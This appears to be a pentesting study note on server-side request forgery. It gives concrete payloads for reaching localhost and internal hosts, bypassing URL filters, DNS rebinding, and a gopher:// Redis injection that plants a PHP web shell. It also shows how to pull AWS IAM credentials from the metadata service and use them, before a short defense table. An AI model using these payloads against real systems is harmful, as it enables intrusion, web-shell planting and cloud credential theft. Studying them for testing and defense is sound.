Server-Side Request Forgery (SSRF)
SSRF lets an attacker make the server issue HTTP requests to a destination the attacker chooses. The request originates from the server’s network position, which usually means access to internal services, cloud metadata endpoints, and localhost interfaces that are unreachable from the outside.
| Impact | Why it matters |
|---|---|
| Internal service access | Reach admin panels, databases, monitoring dashboards behind the firewall |
| Cloud metadata theft | 169.254.169.254 returns IAM credentials on AWS/GCP/Azure |
| Port scanning | Map internal hosts and open ports from the server’s perspective |
| Authentication bypass | Requests from 127.0.0.1 often skip access controls |
| Remote code execution | Chain with internal services that accept unauthenticated commands |
SSRF against localhost
Section titled “SSRF against localhost”The simplest case: the application takes a URL parameter and the server fetches it.
POST /product/stock HTTP/1.1Content-Type: application/x-www-form-urlencoded
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1POST /product/stock HTTP/1.1Content-Type: application/x-www-form-urlencoded
stockApi=http://localhost/adminThe server fetches /admin from itself. Because the request comes from the loopback interface, access
controls that block external users are bypassed.
Why applications trust localhost
Section titled “Why applications trust localhost”| Reason | Explanation |
|---|---|
| Separate access-control component | A reverse proxy enforces auth; the app server behind it trusts local connections |
| Disaster recovery | Admin access without credentials from the local machine (password reset) |
| Different port | Admin interface on a non-public port, reachable only via loopback |
SSRF against back-end systems
Section titled “SSRF against back-end systems”Internal services often sit on private IP ranges (10.x, 172.16-31.x, 192.168.x) with no
authentication, because they are “protected by the network”.
POST /product/stock HTTP/1.1Content-Type: application/x-www-form-urlencoded
stockApi=http://192.168.0.68/adminBypassing blacklist filters
Section titled “Bypassing blacklist filters”The application blocks 127.0.0.1, localhost, or /admin. Try:
| Technique | Example |
|---|---|
| Decimal IP | 2130706433 (decimal for 127.0.0.1) |
| Octal IP | 017700000001 |
| Short form | 127.1 |
| IPv6 loopback | [::1], [0000::1] |
| Domain that resolves to 127.0.0.1 | spoofed.burpcollaborator.net, or register your own |
| URL encoding | %6c%6f%63%61%6c%68%6f%73%74 |
| Double URL encoding | %2561dmin (decodes to %61 then a → admin) |
| Case variation | /Admin, /ADMIN |
| Redirect | URL that 302s to the blocked destination |
stockApi=http://127.1/%2561dminBypassing whitelist filters
Section titled “Bypassing whitelist filters”The application allows only URLs matching a trusted domain. Exploit URL-parsing inconsistencies:
| Technique | Example | Trick |
|---|---|---|
| Embedded credentials | https://expected-host:fakepassword@evil-host |
@ separates credentials from the real host |
| URL fragment | https://evil-host#expected-host |
# starts a fragment, parser may read the wrong part |
| DNS subdomain | https://expected-host.evil-host |
Trusted name as a subdomain of attacker’s domain |
| URL encoding | %2F, %23, %40 |
Confuse the URL parser |
| Double encoding | %252F |
Server decodes twice |
Combine techniques for maximum effect.
Bypass via open redirect
Section titled “Bypass via open redirect”When the URL parameter is validated but the application follows redirects:
- Find an open redirect on the trusted domain:
/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
- Feed it to the SSRF parameter:
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
The app validates the domain (trusted), follows the redirect, and ends up on the internal host. See the open redirect note for bypass techniques and more chaining patterns.
SSRF via DNS rebinding
Section titled “SSRF via DNS rebinding”DNS rebinding bypasses defenses that resolve the hostname before fetching and check if the IP is internal. The trick: the DNS record returns a public IP first (passes the check), then a private IP on the second resolution (the actual fetch).
How it works:
- The attacker controls
rebind.attacker.examplewith a very low TTL (0 or 1 second) - First DNS query returns
1.2.3.4(attacker’s public IP) - passes the allowlist check - The application makes the HTTP request; the DNS cache has expired
- Second DNS query returns
169.254.169.254- the fetch hits the metadata endpoint
Testing: use a DNS rebinding service (e.g., 1.2.3.4.169.254.169.254.rbndr.us) that alternates
between two IPs on each resolution.
Protocol smuggling with gopher://
Section titled “Protocol smuggling with gopher://”The gopher:// protocol lets you send raw bytes to any TCP port, which means you can speak any
protocol (HTTP, Redis, Memcached, SMTP) through an SSRF.
gopher://127.0.0.1:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0ACONFIG%20SET%20dir%20%2Fvar%2Fwww%2Fhtml%2F%0ACONFIG%20SET%20dbfilename%20shell.php%0ASAVE%0AQUITThis sends Redis commands to write a PHP web shell to the web root. Decoded:
SET shell "<?php system($_GET['cmd']);?>"CONFIG SET dir /var/www/html/CONFIG SET dbfilename shell.phpSAVEQUITCommon internal services to target via gopher:
| Service | Port | What you can do |
|---|---|---|
| Redis | 6379 | Write files (web shell), read keys |
| Memcached | 11211 | Read/write cached data, poison sessions |
| SMTP | 25 | Send emails (phishing from internal mail server) |
| MySQL | 3306 | Execute queries (if no password) |
| FastCGI/PHP-FPM | 9000 | Execute arbitrary PHP code |
SSRF in specific application features
Section titled “SSRF in specific application features”SSRF is not limited to explicit URL parameters. Many features make server-side requests:
| Feature | Where to inject |
|---|---|
| PDF generators (wkhtmltopdf, Puppeteer) | HTML input with <iframe src="http://169.254.169.254/"> or <img> / <link> tags |
| Webhooks | URL field in webhook configuration |
| URL preview / link unfurling (Slack-style) | Paste a URL in a chat or comment field |
| Image resizers / thumbnail generators | Image URL parameter |
| Import from URL (file upload, RSS) | URL field that the server fetches |
| SVG rendering | <image xlink:href="http://internal/"/> inside the SVG |
PDF generator SSRF example:
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="600"></iframe>If the PDF generator fetches resources from the server’s network, the metadata response is rendered inside the PDF.
Blind SSRF
Section titled “Blind SSRF”The server makes the request but the response is not returned to the attacker.
Detection
Section titled “Detection”Use an out-of-band channel:
stockApi=http://YOUR-ID.oastify.comIf you see a DNS/HTTP interaction in Collaborator, the server made the request, even though you cannot see the response.
Exploitation
Section titled “Exploitation”Blind SSRF is harder to exploit but can still lead to:
- Internal port scanning: response time differences reveal open vs closed ports. Use Burp
Intruder to sweep ports on
127.0.0.1:§1§and sort by response time. - Exploitation of internal services: services that act on incoming requests (e.g., Shellshock
via
User-Agent, RedisSLAVEOF, Elasticsearch queries) can be triggered blind. - Cloud metadata via DNS exfiltration: chain with an external DTD (XXE-style) or a DNS-based exfil service to pull credential data out of band.
Hidden attack surfaces
Section titled “Hidden attack surfaces”SSRF is not limited to obvious URL parameters.
Partial URLs in request parameters
Section titled “Partial URLs in request parameters”The application takes only a hostname or path segment and builds the full URL server-side. Control is limited, but you may still redirect to internal hosts.
URLs inside data formats
Section titled “URLs inside data formats”XML input → XXE → SSRF. See the XXE note.
JSON or other formats that embed URLs may also be fetched server-side.
Referer header
Section titled “Referer header”Some analytics software fetches URLs from the Referer header to analyze referring sites.
Inject an internal URL in the Referer and check for out-of-band interactions.
Cloud metadata endpoints
Section titled “Cloud metadata endpoints”On cloud instances, SSRF is often critical because the metadata service is reachable from localhost.
AWS (IMDSv1 - the easy target)
Section titled “AWS (IMDSv1 - the easy target)”http://169.254.169.254/latest/meta-data/iam/security-credentials/Response: my-iam-role
http://169.254.169.254/latest/meta-data/iam/security-credentials/my-iam-roleResponse contains AccessKeyId, SecretAccessKey, and SessionToken. Use them with the AWS CLI:
export AWS_ACCESS_KEY_ID=AKIA...export AWS_SECRET_ACCESS_KEY=...export AWS_SESSION_TOKEN=...aws s3 lsaws iam get-userOther useful AWS metadata paths:
| Path | Data |
|---|---|
/latest/meta-data/hostname |
Internal hostname |
/latest/meta-data/local-ipv4 |
Internal IP |
/latest/user-data |
Instance startup script (may contain secrets) |
/latest/dynamic/instance-identity/document |
Account ID, region, instance ID |
AWS IMDSv2 (harder but not impossible)
Section titled “AWS IMDSv2 (harder but not impossible)”IMDSv2 requires a PUT request to get a session token first:
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/A basic GET SSRF cannot do this. But if the SSRF allows controlling the method and headers (e.g., through a webhook configuration or a full HTTP client), IMDSv2 is still reachable.
GCP and Azure
Section titled “GCP and Azure”| Cloud | URL | Required header |
|---|---|---|
| GCP | http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token |
Metadata-Flavor: Google |
| Azure | http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
Metadata: true |
GCP and Azure require a specific header, so a simple redirect-based SSRF may not work. If you control request headers (via CRLF injection or a full HTTP client feature), they are exploitable.
Defense
Section titled “Defense”| Measure | Why |
|---|---|
| Allowlist of permitted URLs/domains | Only fetch from known-good destinations |
| Block private IP ranges and localhost | Deny 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254 |
| Disable HTTP redirects | Or limit redirects to allowed domains |
| Validate the response | Ensure the response matches the expected content type before returning it |
| Use a dedicated egress proxy | All outbound requests go through a proxy that enforces the allowlist |
| Require authentication on internal services | Never trust “it’s on the internal network” |
| IMDSv2 on AWS | Requires a PUT request with a TTL header - not reachable via simple GET SSRF |
References
Section titled “References”1,269 words, about 6 min read